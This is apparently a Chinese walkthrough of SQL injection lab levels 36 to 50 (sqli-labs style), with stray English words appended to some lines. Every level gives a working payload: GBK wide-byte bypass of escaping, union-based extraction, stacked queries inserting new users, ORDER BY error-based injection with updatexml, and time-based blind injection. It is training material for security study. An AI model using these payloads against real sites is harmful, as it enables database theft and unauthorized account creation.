首先,咱們如今Url中給出id參數。咱們能夠根據這個來判斷出該位置的注入爲get型。接着咱們看網站源碼。mysql
根據源碼,咱們能夠看到,網頁首先封裝了一個函數,這個函數使用mysql_real_escape_string()來過濾咱們的輸入。sql
可是同時,根據sql語句上面的代碼塊,咱們能夠發現,網頁採用了gbk編碼,因此在這個地方,咱們能夠選擇使用寬字節注入來繞過過濾。數據庫
構造payload:less
1%df%27 and 1=2 union select 1,version(),database() --
第三十六關,通關。函數
從網站頁面,能夠看出,該位置的注入屬於post型,查看源碼。post
從代碼上,咱們能夠看到,網站對咱們輸入的uname參數和passwd參數一樣適用了mysql_real_escape_string函數進行轉義,一樣,在sql語句上面,提示咱們這裏使用了gbk編碼。因此這一關跟36關的區別只是將get型注入轉變成了post型。網站
payload:編碼
1%df%27 and 1=2 union select version(),database() --
這裏咱們在uname位置注入和passwd位置注入效果同樣。url
第三十七關,通關。3d
直接看源碼
首先咱們關注mysql_multi_query這個函數,該函數的功能是執行一個或多個針對數據庫的查詢,多個查詢用分毫進行分隔。也就是說,這裏可使用堆疊注入,而只有網站使用了這個函數,才能進行堆疊注入。咱們能夠在參數後面加上分號,而後在分號後面加入注入的新語句。
但這裏咱們使用常規的方法進行注入便可。由於網站對咱們的輸入沒有進行任何轉義。
payload以下:
1' and 1=2 union select 1,version(),database() --
第三十八關,通關。
查看網站源碼。
跟上一關同樣,也是堆疊注入,這裏的參數沒有任何符號包裹,因此咱們能夠直接在url中拼接sql語句,不須要閉合。
payload以下:
1 and 1=2 union select 1,version(),database()
第三十九關,通關。
查看網站源碼。
依然是堆疊注入,只是參數外面的包裹字符不一樣。
payload:
1') and 1=2 union select 1,version(),database() --
第四十關,通關。
查看網站源碼。
堆疊注入,無過濾,參數無包裹。
payload:
1 and 1=2 union select 1,version(),database() --
第四十一關,通關。
熟悉的登陸頁面,可是在嘗試過新建用戶和找回密碼所有不可用以後,明白這裏不是二階注入,查看源碼。
能夠看到,網頁在登陸的時候並無對咱們提交的參數進行過濾,同時由於在網頁上並無顯示位,因此咱們能夠利用Insert語句來在數據庫中新建一個用戶。
payload以下:
1';insert into users values(50,'xiaoming','xiaoming') --
插入完成。
第四十二關,通關。
四十三關也是同樣的套路,只是包裹參數的符號從單引號變成了括號單引號。
payload以下:
1');insert into users values(60,'xm','xm') --
第四十三關,通關。
四十四關,也是同樣的解法。
payload以下:
1';insert into users values(77,'xb','xb') --
第四十四關,通關。
套路一致。
payload:
1');insert into users values(87,'xiaohong','xiaohong') --
第四十五關,通關。
首先,咱們先在Url中添加上sort參數。
而後,查看源碼。
這裏,咱們能夠看到,這裏的sql語句變成了。
$sql = "SELECT * FROM users ORDER BY %id";
而這裏,咱們能夠利用order by 進行注入。
最多見的辦法就是使用報錯注入。
payload以下:
1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
第四十六關,通關。
查看源碼。
套路同樣,就是參數外面多了一個單引號包裹。
payload以下:
1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --
第四十七關,通關。
這一關的基本套路仍是一致的,都是order by注入,可是由於這一關沒有打印錯誤信息的代碼,因此咱們沒辦法經過報錯注入來獲取信息。
可是order by注入,也是可使用時間盲注。
payload以下:
1 and if(length((database()))<1,1,sleep(0.3)) 1 and if(length((database()))<10,1,sleep(0.3)) 1 and if(substr((database()),1,1)='s',1,sleep(0.3)) 1 and if(substr((database()),1,1)='a',1,sleep(0.3))
由於沒法經過截圖給大家展現效果,因此payload留下,能夠本身嘗試,我已經試過了。
第四十八關,通關。
四十九關一樣也是盲注,可是注意參數外面使用了單引號進行包裹,因此咱們的payload裏也須要使用單引號進行隔斷。
payload以下:
1' and if(length((database()))<1,sleep(0.1),1) -- 1' and if(length((database()))<10,sleep(0.1),1) --
第四十九關,通關。
能夠看到,第五十關是存在報錯函數的,也就是說,在這裏咱們就可使用報錯注入來進行繞過了。
payload以下:
1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
第五十關,通關。